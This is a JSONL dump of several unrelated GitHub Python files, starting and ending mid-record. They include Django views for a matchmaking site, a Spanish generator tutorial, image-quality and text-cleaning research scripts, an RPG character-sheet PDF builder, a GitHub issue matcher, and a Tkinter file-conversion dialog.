\r\n","repo_name":"eddiegz/Personal-C","sub_path":"progcomp/pangram.py","file_name":"pangram.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"de","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"38434559837","text":"# -*- coding: utf-8 -*-\r\nfrom __future__ import unicode_literals\r\n\r\nfrom django.shortcuts import render, redirect, HttpResponse\r\nfrom django.contrib.auth.decorators import login_required\r\n\r\nfrom django.contrib.auth import login, logout\r\nimport json\r\nfrom form.login import AuthForm\r\nfrom form.user_info import UserForm\r\nfrom models import *\r\nfrom utils.users import get_invite_boy_condition, get_suitable_girl_expection, authenticate\r\nfrom utils.log import logger\r\nfrom utils.email import send\r\n\r\n\r\n@logger(None, None)\r\ndef access_login(request):\r\n \"\"\"\r\n 登陆view\r\n :param request:\r\n :return:\r\n \"\"\"\r\n if request.method == \"POST\":\r\n auth_form = AuthForm(request.POST)\r\n if auth_form.is_valid():\r\n mobile = auth_form.cleaned_data['mobile']\r\n code = auth_form.cleaned_data['code']\r\n user = authenticate(mobile=mobile, code=code)\r\n if user:\r\n login(request, user)\r\n return redirect('/')\r\n else:\r\n auth_form = AuthForm()\r\n return render(request, 'login.html', {'auth_form': auth_form})\r\n\r\n\r\n@logger(None, None)\r\ndef access_logout(request):\r\n \"\"\"\r\n 登出view\r\n :param request:\r\n :return:\r\n \"\"\"\r\n logout(request)\r\n return redirect(\"/login\")\r\n\r\n\r\n@login_required\r\n@logger(REGISTERED, None)\r\ndef content_page(request):\r\n \"\"\"\r\n 补充信息\r\n :param request:\r\n :return:\r\n \"\"\"\r\n user_form = UserForm()\r\n return render(request, 'submit_content.html', {'user_form': user_form})\r\n\r\n\r\n@login_required\r\n@logger(REGISTERED, None)\r\ndef submit_content(request):\r\n \"\"\"\r\n 存储用户上传的信息(期望条件/自身条件)\r\n :param request:\r\n :return:\r\n \"\"\"\r\n user = request.user\r\n if request.method == 'POST':\r\n user_form = UserForm(request.POST)\r\n if user_form.is_valid():\r\n Users.update_one_record(user.id, **user_form.cleaned_data)\r\n Users.update_one_record_one_field(user.id, info_status=SUBMIT)\r\n return redirect('/')\r\n else:\r\n return HttpResponse(json.dumps(user_form.errors))\r\n else:\r\n return render(request, '404.html')\r\n\r\n\r\n@login_required\r\n@logger(SUBMIT, FEMALE)\r\ndef girl_after_submit(request):\r\n \"\"\"\r\n 女生填完期望信息的等待邀请状态\r\n :param request:\r\n :return:\r\n \"\"\"\r\n return render(request, 'girl_after_submit.html')\r\n\r\n\r\n@login_required\r\n@logger(SUBMIT, MALE)\r\ndef suitable_girl_page(request):\r\n \"\"\"\r\n 查看合适的女孩\r\n :param request:\r\n :return:\r\n \"\"\"\r\n user = request.user\r\n suitable_girl_expection = get_suitable_girl_expection(user.id)\r\n UserRelation.insert_one_user_relation(user.id, suitable_girl_expection['id'], BOY_READ)\r\n return render(\r\n request, 'expection_content.html', {'suitable_girl_expection': suitable_girl_expection}\r\n )\r\n\r\n\r\n@login_required\r\n@logger(SUBMIT, None)\r\ndef choice_suitable_girl(request):\r\n \"\"\"\r\n 选择合适的女生\r\n :param request:\r\n :return:\r\n \"\"\"\r\n user = request.user\r\n if request.method == 'POST':\r\n Users.update_one_record_one_field(user.id, info_status=INVITE)\r\n user_relation = UserRelation.get_one_user_relation_with_boy_id(user.id)\r\n if user_relation:\r\n girl_id = user_relation.girl_id\r\n Users.update_one_record_one_field(girl_id, info_status=INVITE)\r\n UserRelation.insert_one_user_relation(user.id, girl_id, BOY_INVITE)\r\n # 如果不存在 user_relation 怎么做\r\n return render(request, 'invite_success.html')\r\n else:\r\n return render(request, '404.html')\r\n\r\n\r\n@login_required\r\n@logger(INVITE, MALE)\r\ndef boy_after_invite(request):\r\n \"\"\"\r\n 男生等待邀请被接收的状态\r\n :param request:\r\n :return:\r\n \"\"\"\r\n return render(request, 'boy_after_invite.html')\r\n\r\n\r\n@login_required\r\n@logger(INVITE, FEMALE)\r\ndef invite_boy_page(request):\r\n \"\"\"\r\n 查看邀请自己的男生\r\n :param request:\r\n :return:\r\n \"\"\"\r\n user = request.user\r\n invite_boy_condition = get_invite_boy_condition(user.id)\r\n UserRelation.insert_one_user_relation(invite_boy_condition['id'], user.id, GRIL_READ)\r\n return render(\r\n request, 'inviter_content.html', {'invite_boy_condition': invite_boy_condition}\r\n )\r\n\r\n\r\n@login_required\r\n@logger(INVITE, None)\r\ndef accept_invite_boy(request):\r\n \"\"\"\r\n 接受男生邀请, 不需要拒绝接口,默认一天之后自动拒绝,可以限制女生拒绝的盲目性\r\n :param request:\r\n :return:\r\n \"\"\"\r\n user = request.user\r\n if request.method == 'POST':\r\n Users.update_one_record_one_field(user.id, info_status=CONNECTED)\r\n user_relation = UserRelation.get_one_user_relation_with_girl_id(user.id)\r\n if user_relation:\r\n boy_id = user_relation.boy_id\r\n Users.update_one_record_one_field(boy_id, info_status=CONNECTED)\r\n UserRelation.insert_one_user_relation(boy_id, user.id, GRIL_ACCEPT)\r\n # todo 發送女生qq给男生, 如果不存在 user_relation 怎么做\r\n return redirect(\"/connect_page\")\r\n else:\r\n return render(request, '404.html')\r\n\r\n\r\n@login_required\r\n@logger(CONNECTED, None)\r\ndef connect_page(request):\r\n \"\"\"\r\n 邀请或被邀请,然后接受邀请进入联系阶段\r\n :param request:\r\n :return:\r\n \"\"\"\r\n return render(request, 'connect_success.html')\r\n\r\n\r\n@login_required\r\n@logger(CONNECTED, None)\r\ndef connect_to_fall_in_love(request):\r\n \"\"\"\r\n 进入恋爱状态\r\n :param request:\r\n :return:\r\n \"\"\"\r\n user = request.user\r\n if request.method == 'POST':\r\n Users.update_one_record_one_field(user.id, info_status=FALLINLOVE)\r\n if user.sex == MALE:\r\n user_relation = UserRelation.get_one_user_relation_with_boy_id(user.id)\r\n if user_relation:\r\n girl_id = user_relation.girl_id\r\n UserRelation.insert_one_user_relation(user.id, girl_id, LAVE_STATUS)\r\n Users.update_one_record_one_field(girl_id, info_status=FALLINLOVE)\r\n else:\r\n user_relation = UserRelation.get_one_user_relation_with_girl_id(user.id)\r\n if user_relation:\r\n boy_id = user_relation.boy_id\r\n UserRelation.insert_one_user_relation(boy_id, user.id, LAVE_STATUS)\r\n Users.update_one_record_one_field(boy_id, info_status=FALLINLOVE)\r\n return render(request, 'fall_in_love.html')\r\n else:\r\n return render(request, '404.html')\r\n\r\n\r\n@login_required\r\n@logger(CONNECTED, None)\r\ndef connect_to_not_fit(request):\r\n \"\"\"\r\n 接触后不合适\r\n :param request:\r\n :return:\r\n \"\"\"\r\n user = request.user\r\n if request.method == 'POST':\r\n Users.update_one_record_one_field(user.id, info_status=SUBMIT)\r\n if user.sex == MALE:\r\n user_relation = UserRelation.get_one_user_relation_with_boy_id(user.id)\r\n if user_relation:\r\n girl_id = user_relation.girl_id\r\n UserRelation.insert_one_user_relation(user.id, girl_id, NOT_FIT)\r\n Users.update_one_record_one_field(girl_id, info_status=SUBMIT)\r\n else:\r\n user_relation = UserRelation.get_one_user_relation_with_girl_id(user.id)\r\n if user_relation:\r\n boy_id = user_relation.boy_id\r\n UserRelation.insert_one_user_relation(boy_id, user.id, NOT_FIT)\r\n Users.update_one_record_one_field(boy_id, info_status=SUBMIT)\r\n return redirect(\"/\")\r\n else:\r\n return render(request, '404.html')\r\n\r\n\r\n@login_required\r\n@logger(CONNECTED, None)\r\ndef connect_to_complain(request):\r\n \"\"\"\r\n 接触后投诉\r\n :param request:\r\n :return:\r\n \"\"\"\r\n user = request.user\r\n if request.method == 'POST':\r\n Users.update_one_record_one_field(user.id, info_status=COMPLAIN)\r\n if user.sex == MALE:\r\n user_relation = UserRelation.get_one_user_relation_with_boy_id(user.id)\r\n if user_relation:\r\n girl_id = user_relation.girl_id\r\n UserRelation.insert_one_user_relation(user.id, girl_id, IN_COMPLAN)\r\n Users.update_one_record_one_field(girl_id, info_status=COMPLAINED)\r\n else:\r\n user_relation = UserRelation.get_one_user_relation_with_girl_id(user.id)\r\n if user_relation:\r\n boy_id = user_relation.boy_id\r\n UserRelation.insert_one_user_relation(boy_id, user.id, IN_COMPLAN)\r\n Users.update_one_record_one_field(boy_id, info_status=COMPLAINED)\r\n return redirect(\"/\")\r\n else:\r\n return render(request, '404.html')\r\n\r\n\r\n@login_required\r\n@logger(FALLINLOVE, None)\r\ndef love_page(request):\r\n \"\"\"\r\n 恋爱页面\r\n :param request:\r\n :return:\r\n \"\"\"\r\n return render(request, 'fall_in_love.html')\r\n\r\n\r\n@login_required\r\n@logger(FALLINLOVE, None)\r\ndef break_up_after_love(request):\r\n \"\"\"\r\n 恋爱后分手,分手后没有抱怨入口,因为可以防止进入恋爱状态的盲目性,分手如果想要退还门槛费,男生需要实名制\r\n :param request:\r\n :return:\r\n \"\"\"\r\n user = request.user\r\n if request.method == 'POST':\r\n Users.update_one_record_one_field(user.id, info_status=SUBMIT)\r\n if user.sex == MALE:\r\n user_relation = UserRelation.get_one_user_relation_with_boy_id(user.id)\r\n if user_relation:\r\n girl_id = user_relation.girl_id\r\n UserRelation.insert_one_user_relation(user.id, girl_id, BREAK_UP)\r\n Users.update_one_record_one_field(girl_id, info_status=SUBMIT)\r\n else:\r\n user_relation = UserRelation.get_one_user_relation_with_girl_id(user.id)\r\n if user_relation:\r\n boy_id = user_relation.boy_id\r\n UserRelation.insert_one_user_relation(boy_id, user.id, BREAK_UP)\r\n Users.update_one_record_one_field(boy_id, info_status=SUBMIT)\r\n return redirect(\"/\")\r\n else:\r\n return render(request, '404.html')\r\n\r\n\r\n@login_required\r\n@logger(BREAK_UP, None)\r\ndef request_pay_back(request):\r\n \"\"\"\r\n 申请退还门槛费页面,如果选了,就设置男生的状态为 REQUEST_PAY_BACK\r\n :param request:\r\n :return:\r\n \"\"\"\r\n user = request.user\r\n Users.update_one_record_one_field(user.id, info_status=REQUEST_PAY_BACK)\r\n return redirect(\"/\")\r\n\r\n\r\n@login_required\r\n@logger(None, None)\r\ndef index(request):\r\n \"\"\"\r\n 主页,根据 info_status 构建主逻辑\r\n :param request:\r\n :return: \r\n \"\"\"\r\n user = request.user\r\n info_status = int(user.info_status)\r\n sex = user.sex\r\n if info_status == REGISTERED:\r\n return redirect(\"/content_page\")\r\n elif info_status == SUBMIT:\r\n if sex == MALE:\r\n return redirect(\"/suitable_girl_page\")\r\n else:\r\n return redirect(\"/girl_after_submit\")\r\n elif info_status == INVITE:\r\n if sex == MALE:\r\n return redirect(\"/boy_after_invite\")\r\n else:\r\n return redirect(\"/invite_boy_page\")\r\n elif info_status == CONNECTED:\r\n return redirect(\"/connect_page\")\r\n elif info_status == FALLINLOVE:\r\n return redirect(\"/love_page\")\r\n else:\r\n return render(request, 'real_name.html')\r\n","repo_name":"duyabobo/wawo","sub_path":"niceapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11365,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"23474444800","text":"# potencia.py\n# generador que devuelve una secuencia de potencias\n\ndef potencia(n, exp):\n '''\n Devuelve enteros elevados a la potencia\n hasta llegar a .\n '''\n cont = 1\n while cont <= n:\n yield cont ** exp\n cont += 1\n\n\n# creamos un generador de N números al cuadrado\n\ncuadrados = potencia(10, 2)\n\nprint('\\nImprimimos cuadrados hasta 10:\\n')\n\nfor n in cuadrados:\n print(n)\n\nprint()\n\n\n# creamos otro generador de N números al cubo\n\ncubos = potencia(10, 3)\n\nprint('\\nImprimimos cubos hasta 10:\\n')\n\nfor n in cubos:\n print(n)\n\nprint()\n\n\n# también podemos emplear alguna de las técnicas de bucles en\n# la sección anterior\n\ncuartas = potencia(5, 4)\nquintas = potencia(5, 5)\n\nprint('\\nUsamos zip() para iterar sobre dos generadores:\\n')\n\ncont = 0\nfor c, q in zip(cuartas, quintas):\n cont += 1\n print(f'{cont} a la cuarta es {c}, y a la quinta es {q}.')\n\nprint()\n","repo_name":"Python-Academy-Argentina/Fundamentals","sub_path":"Clase 3/Ejemplos/02 - generadores/potencia.py","file_name":"potencia.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"es","doc_type":"code","stars":11,"dataset":"github-code","pt":"47"} +{"seq_id":"70085951502","text":"import cv2\nimport os\nimport numpy as np\nimport tensorflow as tf\nimport configargparse\n\n\ndef get_test_images(image_dir, ext='.jpg', test=False):\n files = [f\"{image_dir}/{f}\" for f in os.listdir(image_dir) if ext in f.lower()]\n files.sort()\n if test:\n files = [f for i, f in enumerate(files) if not i % 8]\n return [cv2.cvtColor(cv2.imread(f), cv2.COLOR_BGR2RGB) for f in files]\n\n\ndef get_poses(image_dir, test=True):\n poses_arr = np.load(os.path.join(image_dir, 'poses_bounds.npy'))\n poses = poses_arr[:, :-2].reshape([-1, 3, 5]).transpose([1, 2, 0])\n bds = poses_arr[:, -2:].transpose([1, 0])\n if test:\n poses, bds = poses[::8], bds[::8]\n return poses, bds\n\n\ndef main():\n parser = configargparse.ArgumentParser()\n parser.add_argument('--image_dir',\n help='Image Directory Path')\n parser.add_argument(\"--pred_dir\", help='Rendering Directory')\n parser.add_argument(\"--test\", help='Only use test images', action='store_true')\n args = parser.parse_args()\n\n images = get_test_images(args.image_dir, test=args.test)\n pred_images = get_test_images(args.pred_dir, ext='.png')\n if len(images) != len(pred_images):\n print(\"Pred count does not match image count\")\n return\n\n pred_shape = pred_images[0].shape\n for i in range(len(images)):\n images[i] = cv2.resize(images[i], (pred_shape[1], pred_shape[0]))\n\n psnr = [tf.image.psnr(img, pred, 255).numpy() for img, pred in zip(images, pred_images)]\n ms_ssim = [tf.image.ssim_multiscale(img, pred, max_val=255).numpy() for img, pred in zip(images, pred_images)]\n\n print(f\"PSNR for the image set is {np.mean(psnr)} +- {np.std(psnr)}.\")\n print(f\"MS-SSIM for the image set in {np.mean(ms_ssim)} +- {np.std(ms_ssim)}.\")\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"DanielMorton/Pondhawk","sub_path":"model_eval.py","file_name":"model_eval.py","file_ext":"py","file_size_in_byte":1819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"4590730883","text":"from tkinter import *\nfrom COFICHEPERSO.GUI import GUI, GUI_Intro\nfrom COFICHEPERSO.Character_Class import Character\nimport json\nfrom random import randint\nfrom pathlib import Path\nfrom reportlab.pdfgen import canvas\n\n\ndef pdf_genrator(pdf):\n \"\"\" create a pdf with the value from player's selection\"\"\"\n\n image = Path(\"Images/fiche_perso.png\")\n pdf.drawImage(image, 0, 0)\n pdf.drawString(400, 668, str(player.player_name), )\n pdf.drawString(145, 668, str(player.character_name))\n pdf.drawString(50, 623, str(player.profile_name))\n\n pdf.drawString(220, 623, str(player.race))\n pdf.drawString(342, 623, player.gender)\n pdf.drawString(430, 623, str(player.size) + \"cm\")\n pdf.drawString(388, 623, str(player.age) + \"ans\")\n pdf.drawString(470, 623, str(player.weight) + \"Kg\")\n\n pdf.drawString(80, 560, str(player.attribut[\"for\"]))\n pdf.drawString(80, 538, str(player.attribut[\"dex\"]))\n pdf.drawString(80, 515, str(player.attribut[\"con\"]))\n pdf.drawString(80, 492, str(player.attribut[\"int\"]))\n pdf.drawString(80, 470, str(player.attribut[\"sag\"]))\n pdf.drawString(80, 450, str(player.attribut[\"cha\"]))\n\n pdf.drawString(112, 560, str(player.attribut_modification[\"fom\"]))\n pdf.drawString(112, 538, str(player.attribut_modification[\"dem\"]))\n pdf.drawString(112, 515, str(player.attribut_modification[\"com\"]))\n pdf.drawString(112, 492, str(player.attribut_modification[\"itm\"]))\n pdf.drawString(112, 470, str(player.attribut_modification[\"sam\"]))\n pdf.drawString(112, 450, str(player.attribut_modification[\"cam\"]))\n\n pdf.drawString(427, 560, str(player.life_dice))\n pdf.drawString(175, 623, str(player.level))\n pdf.drawString(310, 538, str(player.level))\n pdf.drawString(310, 515, str(player.level))\n pdf.drawString(310, 492, str(player.level))\n\n pdf.drawString(270, 560, str(player.attribut_modification[\"dem\"]))\n pdf.drawString(270, 538, str(player.attribut_modification[\"fom\"]))\n pdf.drawString(270, 515, str(player.attribut_modification[\"dem\"]))\n\n pdf.drawString(40, 400, str(player.racial_capacity))\n\n\ndef attribut_modification(player_attribut):\n \"\"\"fonction who calcul the player bonus attribut\"\"\"\n table = {\n 1: -4, 2: -4, 3: -4,\n 4: -3, 5: -3, 6: -2,\n 7: -2, 8: -1, 9: -1,\n 10: 0, 11: 0, 12: 1,\n 13: 1, 14: 2, 15: 2,\n 16: 3, 17: 3, 18: 4,\n 19: 4, 20: 5, 21: 5\n }\n\n for table_attribut_key, modification_value in table.items():\n if table_attribut_key == player_attribut:\n return modification_value\n\n\n# loading Characters_race\ncharacters_race_list = []\nwith open(\"json files/races_list.json\", \"r\") as write_file:\n characters_race_list = json.load(write_file)\n\n# loading Characters_profile\ncharacters_profile_list = []\nwith open(\"json files/profiles_list.json\", \"r\") as write_file:\n characters_profile_list = json.load(write_file)\n\nwindow_intro = Tk()\nimage_intro = PhotoImage(file=Path(\"Images/Persos.png\")).subsample(2)\nIGU_intro = GUI_Intro(window_intro, image_intro)\nwindow_intro.mainloop()\n\nwindow = Tk()\nroll = [randint(3, 18) for r in range(6)]\nGUI_player_selection = GUI(window, roll, characters_race_list, characters_profile_list)\nwindow.mainloop()\n\n# race selected via GUI\nrace_user_selection = GUI_player_selection.lb_race.get(first=ANCHOR)\nprofile_user_selection = GUI_player_selection.lb_profile.get(first=ANCHOR)\n\n# race's selection\nfor race in characters_race_list:\n if race_user_selection == race[\"race_name\"]:\n race_selection = race\n\n# character's selection\nfor profile in characters_profile_list:\n if profile_user_selection == profile[\"profile_name\"]:\n profile_selection = profile\n\n# player's creation\nplayer = Character()\nplayer.player_name = GUI_player_selection.player_name_entry.get()\nplayer.character_name = GUI_player_selection.hero_name_entry.get()\nplayer.race = race_user_selection\nplayer.profile_name = profile_user_selection\nplayer.life_dice = profile_selection[\"life_dice\"]\nplayer.racial_capacity = race_selection[\"capacite raciale\"]\n\nplayer.age = randint(race_selection[\"age\"][\"min\"], race_selection[\"age\"][\"max\"])\nplayer.weight = randint(race_selection[\"taille\"][\"min\"], race_selection[\"taille\"][\"max\"])\nplayer.size = randint(race_selection[\"taille\"][\"min\"], race_selection[\"taille\"][\"max\"])\n\nplayer.attribut[\"for\"] = int(GUI_player_selection.Str_Value.get()) + race_selection[\"modif\"][\"for\"]\nplayer.attribut[\"dex\"] = int(GUI_player_selection.Dex_Value.get()) + race_selection[\"modif\"][\"dex\"]\nplayer.attribut[\"con\"] = int(GUI_player_selection.Con_Value.get()) + race_selection[\"modif\"][\"con\"]\nplayer.attribut[\"int\"] = int(GUI_player_selection.Dex_Value.get()) + race_selection[\"modif\"][\"int\"]\nplayer.attribut[\"sag\"] = int(GUI_player_selection.Sag_Value.get()) + race_selection[\"modif\"][\"sag\"]\nplayer.attribut[\"cha\"] = int(GUI_player_selection.Con_Value.get()) + race_selection[\"modif\"][\"cha\"]\nplayer.attribut_modification[\"fom\"] = attribut_modification(player.attribut[\"for\"])\nplayer.attribut_modification[\"dem\"] = attribut_modification(player.attribut[\"dex\"])\nplayer.attribut_modification[\"com\"] = attribut_modification(player.attribut[\"con\"])\nplayer.attribut_modification[\"itm\"] = attribut_modification(player.attribut[\"int\"])\nplayer.attribut_modification[\"sam\"] = attribut_modification(player.attribut[\"sag\"])\nplayer.attribut_modification[\"cam\"] = attribut_modification(player.attribut[\"cha\"])\n\nif GUI_player_selection.get_gender_value.get() == 4:\n player.gender = \"Homme\"\nelif GUI_player_selection.get_gender_value.get() == 7:\n player.gender = \"femme\"\nelse:\n player.gender = \"Autre\"\n\n# pdf's creation\nname_pdf = str(player.player_name) + \"_\" + str(player.character_name) + \".pdf\"\npdf = canvas.Canvas(name_pdf)\npdf_genrator(pdf)\npdf.showPage()\npdf.save()\n\nprint(player.attribut_modification)\nprint(player.attribut)","repo_name":"manuteou/-Chronique_Oublie_Character_creation-","sub_path":"COFICHEPERSO/Main_program.py","file_name":"Main_program.py","file_ext":"py","file_size_in_byte":5851,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"22435835943","text":"import re\nimport string\nimport urllib.parse\nfrom typing import NamedTuple, List, Dict\n\nfrom relbot.util import make_logger\n\n\nclass GitHubIssue(NamedTuple):\n repo_owner: str\n repo_name: str\n issue_id: int\n\n def __str__(self):\n # calculate the unique ID for every issue and put it in a dict\n # this ensures we don't have duplicates in there\n issue_tuple = (self.repo_owner, self.repo_name, self.issue_id)\n\n # the unique text ID is not case-sensitive, so we just enforce lower-case to make them unique\n issue_text_id = \"{}/{}#{}\".format(*issue_tuple).lower()\n\n return issue_text_id\n\n\nclass GitHubIssuesMatcher:\n def __init__(self, default_organization: str = None, default_repository: str = None, repository_aliases: dict = None):\n self._default_organization = default_organization\n self._default_repository = default_repository\n self._repository_aliases = repository_aliases\n\n self._logger = make_logger(\"GitHubIssuesResolver\")\n\n def find_github_issue_ids(self, data) -> List[GitHubIssue]:\n # this regex will just match any string, even if embedded in some other string\n # the idea is that when there's e.g., punctuation following an issue number, it will still trigger the\n # integration\n pattern = r\"\\s+([A-Za-z-_]+/)?([A-Za-z-_]+)?#([0-9]+)\"\n\n # FIXME: workaround: the space in front of the data allows us to detect issues and PRs at the beginning of messages\n # the space we require in the pattern prevents false-positive matches within random strings, e.g., URLs with query\n # strings\n data = \" \" + data\n\n matches = re.findall(pattern, data)\n self._logger.debug(\"GitHub issue/PR matches: %r\", matches)\n\n # figure out account and repo for all issues to allow for deduplicating them before resolving\n issues: List[GitHubIssue] = []\n\n for organization, repository, issue_id in matches:\n # the regex might match an empty string, for some reason\n # in that case, we just set the default values\n if not organization:\n organization = self._default_organization\n\n if not repository:\n repository = self._default_repository\n\n # substitute short aliases with the actual repo name, if such aliases are configured\n for short_name, real_name in self._repository_aliases.items():\n if repository.lower() == short_name.lower():\n repository = real_name\n break\n\n # our match might contain at least one slash, so we need to get rid of that\n organization = organization.rstrip(\"/\")\n\n def is_valid_name(s: str):\n for c in s:\n if c not in string.ascii_letters + string.digits + \"-_\":\n return False\n return True\n\n if not is_valid_name(organization) or not is_valid_name(repository):\n self._logger.warning(\"Invalid repository owner or name: %s/%s\", organization, repository)\n continue\n\n if not issue_id.isdigit():\n self._logger.warning(\"Invalid issue ID: %s\", issue_id)\n continue\n\n issues.append(GitHubIssue(organization, repository, issue_id))\n\n return issues\n\n @staticmethod\n def find_github_urls(data) -> List[GitHubIssue]:\n matches = re.findall(r\"(https://github.com/.+/.+/(?:issues|pull)/\\d+[^\\s#]+)\", data)\n\n issues: List[GitHubIssue] = []\n\n for match in matches:\n url = urllib.parse.urlparse(match)\n if url.scheme != \"https\" or url.netloc != \"github.com\":\n continue\n\n path_fragments = url.path.split(\"/\")\n if len(path_fragments) < 5:\n continue\n\n _, repo_owner, repo_name, _, issue_id = path_fragments[:5]\n issues.append(GitHubIssue(repo_owner, repo_name, issue_id))\n\n return issues\n\n @staticmethod\n def deduplicate(issues: List[GitHubIssue]):\n issues_map: Dict[str, GitHubIssue] = {}\n\n for issue in issues:\n issues_map[str(issue)] = issue\n\n return list(issues_map.values())\n","repo_name":"TheAssassin/relbot","sub_path":"relbot/github_issues_matcher.py","file_name":"github_issues_matcher.py","file_ext":"py","file_size_in_byte":4260,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"73481419663","text":"import argparse\nimport os\nimport pickle\nimport random\n\nimport numpy as np\nimport torch\nfrom tqdm import tqdm\nfrom transformers import AutoTokenizer\n\nimport config\nimport wandb\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--generation_model', type=str, default='opt-350m')\nparser.add_argument('--run_id', type=str, default='run_1')\nargs = parser.parse_args()\n\ndevice = 'cuda'\n\n# Set a seed value\nseed_value = 10\n# 1. Set `PYTHONHASHSEED` environment variable at a fixed value\n\nos.environ['PYTHONHASHSEED'] = str(seed_value)\n# 2. Set `python` built-in pseudo-random generator at a fixed value\n\nrandom.seed(seed_value)\n# 3. Set `numpy` pseudo-random generator at a fixed value\n\nnp.random.seed(seed_value)\n\n#Fix torch random seed\ntorch.manual_seed(seed_value)\n\nos.environ[\"HF_DATASETS_CACHE\"] = config.hf_datasets_cache\n\ngeneration_tokenizer = AutoTokenizer.from_pretrained(f\"facebook/opt-350m\", use_fast=False, cache_dir=config.data_dir)\n\nwandb.init(project='nlg_uncertainty', id=args.run_id, config=args, resume='allow')\n\nrun_name = wandb.run.name\n\ntokenizer = AutoTokenizer.from_pretrained(f\"facebook/opt-350m\", use_fast=False, cache_dir=config.data_dir)\n\nwith open(f'{config.output_dir}/{run_name}/{args.generation_model}_generations.pkl', 'rb') as infile:\n sequences = pickle.load(infile)\n\ncleaned_sequences = []\n\nfor sample in tqdm(sequences):\n cleaned_generations = torch.ones_like(sample['generations'])\n question = sample['question']\n generated_texts = sample['generated_texts']\n cleaned_generated_texts = []\n\n max_len_of_generations = cleaned_generations.shape[-1]\n\n strings_to_filter_on = [\n '.', '\\n', 'Q:', 'A:', 'question:', 'answer:', 'Question:', 'Answer:', 'Questions:', 'questions:', 'QUESTION:',\n 'ANSWER:'\n ]\n\n for i, generated_text in enumerate(generated_texts):\n for string in strings_to_filter_on:\n if string in generated_text:\n generated_text = generated_text.split(string)[0]\n cleaned_generated_texts.append(generated_text)\n clean_ids = torch.cat(\n [sample['prompt'].to(device),\n torch.tensor(tokenizer(generated_text)['input_ids'][1:], device=device)])\n cleaned_generations[i, :min(len(clean_ids), max_len_of_generations)] = clean_ids[:max_len_of_generations]\n\n sample['cleaned_generated_texts'] = cleaned_generated_texts\n sample['cleaned_generations'] = cleaned_generations\n cleaned_sequences.append(sample)\n\nwith open(f'{config.output_dir}/{run_name}/{args.generation_model}_generations.pkl', 'wb') as outfile:\n pickle.dump(cleaned_sequences, outfile)\n","repo_name":"lorenzkuhn/semantic_uncertainty","sub_path":"code/clean_generated_strings.py","file_name":"clean_generated_strings.py","file_ext":"py","file_size_in_byte":2618,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"47"} +{"seq_id":"71834497744","text":"class Solution:\n def findKthLargest(self, nums: List[int], k: int) -> int:\n # nums.sort()\n # return nums[-k]\n \n # for i in range(len(nums)):\n # nums[i] *= -1\n \n heapify(nums)\n print(nums)\n \n ans = 0\n temp = len(nums) - k + 1\n while temp > 0:\n ans = heappop(nums)\n temp -= 1\n return ans\n ","repo_name":"hawt24/A2SV","sub_path":"0215-kth-largest-element-in-an-array/0215-kth-largest-element-in-an-array.py","file_name":"0215-kth-largest-element-in-an-array.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"33112994555","text":"\"\"\"This modules implements I{File-->Convert ASCII to NetCDF} dialog.\n\nClasses:\n * ASCIIToNetCDFConversionDialog: creates I{File-->Convert ASCII to NetCDF} dialog used to \n convert a file in ASCII format to a file in NetCDF format.\n\"\"\"\n\n# The python distribution modules\nimport copy\nimport os\nimport sys\n\n# The Tcl/Tk modules\nfrom tkFileDialog import askopenfilename\nfrom Tkinter import *\n\n# The ScientificPython modules\nfrom Scientific.IO.NetCDF import NetCDFFile\n\n# The nMOLDYN modules\nfrom nMOLDYN.Preferences import PREFERENCES\nfrom nMOLDYN.Core.Error import Error\nfrom nMOLDYN.Core.IO import convertASCIIToNetCDF\nfrom nMOLDYN.Core.Logger import LogMessage\nfrom nMOLDYN.GUI.Widgets import *\n\nclass ASCIIToNetCDFConversionDialog(PortableToplevel):\n \"\"\"Sets up a dialog from where the user can convert a file with numeric data in ASCII or CDL format to NetCDF format.\n \n The ASCII file may contain some comments introduced with the # character. These comments will also be written \n in the NetCDF output file (|comment| attribute). The numeric datas have to be organized by column. The only \n restriction is that all the columns should have the same length.\n \"\"\"\n\n def __init__(self, parent, title = None):\n \"\"\"The constructor.\n \n @param parent: the parent widget.\n \n @param title: a string specifying the title of the dialog.\n @type title: string\n \"\"\"\n\n PortableToplevel.__init__(self, parent) \n self.transient(parent)\n \n if title:\n self.title(title)\n\n self.parent = parent \n\n body = Frame(self)\n self.initial_focus = self.body(body)\n body.grid(row = 0, column = 0, sticky = EW) \n\n self.buttonbox() \n \n self.grab_set()\n\n if not self.initial_focus:\n self.initial_focus = self\n\n self.protocol(\"WM_DELETE_WINDOW\", self.cancel)\n\n self.resizable(width = NO, height = NO)\n\n self.geometry(\"+%d+%d\" % (parent.winfo_rootx()+50, parent.winfo_rooty()+50))\n\n self.initial_focus.focus_set()\n\n self.wait_window(self) \n \n def body(self, master):\n \"\"\"\n Create dialog body. Return widget that should have initial focus.\n \"\"\"\n \n settingsFrame = LabelFrame(master, text = 'Settings', bd = 2, relief = GROOVE)\n settingsFrame.grid(row = 0, column = 0, sticky = EW, padx = 3, pady = 3)\n settingsFrame.grid_columnconfigure(0, weight = 1)\n\n # The combo widget for the file browser.\n self.inputFileBrowser = ComboFileBrowser(settingsFrame,\\\n frameLabel = \"ASCII input file\",\\\n tagName = 'convert_ascii_to_netcdf_ascii_input_file',\\\n contents = '',\\\n save = False,\\\n command = self.openASCIIFile)\n self.inputFileBrowser.grid(row = 0, column = 0, sticky = EW, padx = 2, pady = 2)\n self.inputFileBrowser.grid_columnconfigure(0, weight = 1)\n self.inputFileBrowser.entry.bind('', self.openASCIIFile)\n\n # The combo widget for the file browser.\n self.outputFileBrowser = ComboFileBrowser(settingsFrame,\\\n frameLabel = \"NetCDF output file\",\\\n tagName = 'convert_ascii_to_netcdf_netcdf_output_file',\\\n contents = '',\\\n save = True,\\\n filetypes = 